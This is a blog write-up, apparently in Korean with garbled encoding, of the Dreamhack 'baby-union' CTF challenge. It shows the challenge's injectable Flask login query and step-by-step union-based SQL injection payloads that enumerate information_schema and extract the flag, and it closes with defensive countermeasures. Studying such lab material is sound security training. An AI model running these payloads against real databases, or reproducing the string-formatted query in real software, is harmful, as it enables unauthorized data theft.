๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/Wargame&CTF

[Dreamhack] Level1: baby-union

by Yun2๐Ÿ‘ 2024. 2. 2.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

๋กœ๊ทธ์ธ ์‹œ ๊ณ„์ •์˜ ์ •๋ณด๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ์›น ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค.
SQL INJECTION ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. 
๋ฌธ์ œ์—์„œ ์ฃผ์–ด์ง„ init.sql ํŒŒ์ผ์˜ ํ…Œ์ด๋ธ”๋ช…๊ณผ ์ปฌ๋Ÿผ๋ช…์€ ์‹ค์ œ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค.
_
ํ”Œ๋ž˜๊ทธ ํ˜•์‹์€ DH{...} ์ž…๋‹ˆ๋‹ค

 

 

๐Ÿ‘พ Exploit Algorithm & Payload

> app.py

๋”๋ณด๊ธฐ
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)

@app.route("/", methods = ["GET", "POST"])
def index():

    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)

            else: return render_template("index.html", data="Wrong!")

        return render_template("index.html", data="Fill the input box", pre=1)
    return render_template("index.html")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

> init.sql

๋”๋ณด๊ธฐ
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');

 

 

#1


: '/' ํŽ˜์ด์ง€์—์„œ uid์™€ upw๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๊ณ„์ • ์ •๋ณด๊ฐ€ ํ™•์ธ ๋  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋œ๋‹ค.

 

: ํžŒํŠธ ํŒŒ์ผ์—์„œ ์ด๋ฏธ ๋ช‡๊ฐ€์ง€ ๊ณ„์ • ์ •๋ณด๋ฅผ ํ™•์ธ ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ์„์ฒ˜๋ฆฌ ๋™์ž‘์ด๋‚˜ ์‹ฑ๊ธ€์ฟผํ„ฐ๊ฐ€ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ–ˆ๋‹ค.

 

: ์ด์™ธ์—๋„ uid, upw ๊ฐ’์˜ ์ฟผ๋ฆฌ๊ฐ€ ์ฐธ์œผ๋กœ ๋™์ž‘ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ๋„ ๊ณ„์ • ์ •๋ณด๊ฐ€ ์ถœ๋ ฅ๋จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

#2


...
CREATE TABLE fake_table_name(
    idx int auto_increment primary key,
    fake_col1 varchar(128) not null,
    fake_col2 varchar(128) not null,
    fake_col3 varchar(128) not null,
    fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
...

: ๋ฌธ์ œ์—์„œ users ํ…Œ์ด๋ธ” ์ด์™ธ์˜ ํ…Œ์ด๋ธ”์ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

: ํ•˜์ง€๋งŒ ์ด ํ…Œ์ด๋ธ”์˜ ํ…Œ์ด๋ธ”๋ช…๊ณผ ์ปฌ๋Ÿผ๋ช…์€ ์‹ค์ œ ์ด๋ฆ„๊ณผ ๋‹ค๋ฅด๋‹ค๋Š” ๊ฒƒ์„ ํžŒํŠธ ์ฝ”๋“œ์—์„œ ์•Œ๋ ค์คฌ๊ธฐ ๋•Œ๋ฌธ์—
"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';" ์˜ ์ž…๋ ฅ ์•ˆ์—์„œ ํ…Œ์ด๋ธ” ๋ช…์„ ์–ป์–ด์•ผํ•จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

uid : 1' or '1
upw: ' UNION SELECT 1,2,3,4#

: ์šฐ์„  fake_table_naem์ด๋ผ๋Š” ์ž„์˜์˜ ํ…Œ์ด๋ธ”์ด 4๊ฐœ์˜ ์ปฌ๋Ÿผ์ด๋ผ๋Š” ๊ฒƒ์„ ํžŒํŠธ ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ํ™•์ธํ–ˆ๋‹ค.

: ์ปฌ๋Ÿผ์ด 4๊ฐœ๊ฐ€ ๋งž๋Š”์ง€ ์ง์ ‘ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด UNION์ ˆ์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

: ๊ฒฐ๊ณผ๋กœ ์ปฌ๋Ÿผ1,2,4๋Š” #,id,description์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (์—ด 4๊ฐœ)

 

 

#3


uid: 1' or '1
upw: ' UNION SELECT 1,table_name,3,4 FROM information_schema.tables#

: ๋‹ค์Œ๊ณผ ๊ฐ™์ด ...table_name...information_schema.tables...๋ฅผ ํ™œ์šฉํ•˜๋ฉด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ชจ๋“  ํ…Œ์ด๋ธ”๋ช…์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

: ํ…Œ์ด๋ธ”๋ช…์„ ์ž˜ ์‚ดํŽด๋ณด๋ฉด flag์™€ ๊ด€๋ จ๋œ ํ…Œ์ด๋ธ”๋ช…์ž„์„ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ๋‹ค. (ํ…Œ์ด๋ธ”๋ช…: onlyflag)

 

 

#4


uid: 1' or '1
upw: ' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='onlyflag'#

: ๋‹ค์Œ๊ณผ ๊ฐ™์ด ...column_name...information_schema.columns...table_name='[ํ•ด๋‹น ํ…Œ์ด๋ธ” ๋ช…]'#๋ฅผ ํ™œ์šฉํ•˜๋ฉด ํ•ด๋‹น ํ…Œ์ด๋ธ”์˜ ๋ชจ๋“  ์ปฌ๋Ÿผ๋ช…์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (idx, sname, svalue, sflag, sclose)

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


uid: 1' or '1
1)
upw: ' UNION SELECT sname,svalue,sflag,sclose FROM onlyflag#

2)
upw: ' UNION SELECT svalue,sflag,3,sclose FROM onlyflag#

: 1) ์ฒ˜๋Ÿผ ์ž‘์„ฑํ•˜์—ฌ onlyflag ํ…Œ์ด๋ธ”์˜ sname,svalue,sflag,sclose ์ปฌ๋Ÿผ์˜ ๊ฐ’์„ ํ™•์ธํ•˜๋ฉด ์ผ๋ถ€์˜ FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

: ๊ทธ๋Ÿฌ๋‚˜ #2 ํ’€์ด์—์„œ "๊ฒฐ๊ณผ๋กœ ์ปฌ๋Ÿผ1,2,4๋Š” #,id,description์—์„œ ํ™•์ธ"์ด ๊ฐ€๋Šฅํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— 2)์™€ ๊ฐ™์ด ์ž‘์„ฑํ•ด์ฃผ๋ฉด ์™„๋ฒฝํ•œ FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ“Œ Summary


Union-based SQL Injection

 SQL ์ฟผ๋ฆฌ์˜ UNION ์—ฐ์‚ฐ์ž๋ฅผ ์ด์šฉํ•˜์—ฌ ์›๋ž˜์˜ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์— ์ถ”๊ฐ€ ๊ฒฐ๊ณผ๋ฅผ ํ•ฉ์น˜๋Š” ๋ช…๋ น์–ด๋กœ ๊ณต๊ฒฉ์ž๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋‹ค๋ฅธ ํ…Œ์ด๋ธ” ์ •๋ณด๋“ค์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋จ.

 

-๋Œ€์‘๋ฐฉ์•ˆ-

1) ์ž…๋ ฅ ๊ฐ’ ๊ฒ€์ฆ

2) ํŒŒ๋ผ๋ฏธํ„ฐํ™”๋œ ์ฟผ๋ฆฌ ์‚ฌ์šฉ(prepared statements)

: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ง์ ‘์ ์ธ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ํฌํ•จ์‹œํ‚ค์ง€ ๋ง๊ณ , ๋Œ€์‹  ์ค€๋น„๋œ ํŒŒ๋ผ๋ฏธํ„ฐ(prepared statements)๋ฅผ ์‚ฌ์šฉ

3) ์ตœ์†Œํ•œ์˜ ๊ถŒํ•œ  ์ ์šฉ

4) ์›น ๋ฐฉํ™”๋ฒฝ ์‚ฌ์šฉ

...

 

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1:Beginner blue-whale  (1) 2024.02.07
[Dreamhack] Level2: Dream Gallery  (0) 2024.02.03
[Dreamhack] Level2: filestorage  (0) 2024.02.02
[Dreamhack] Level1: Type c-j  (2) 2024.02.02
[Dreamhack] CTF Season 5 Round #2 - php7cmp4re  (0) 2024.01.28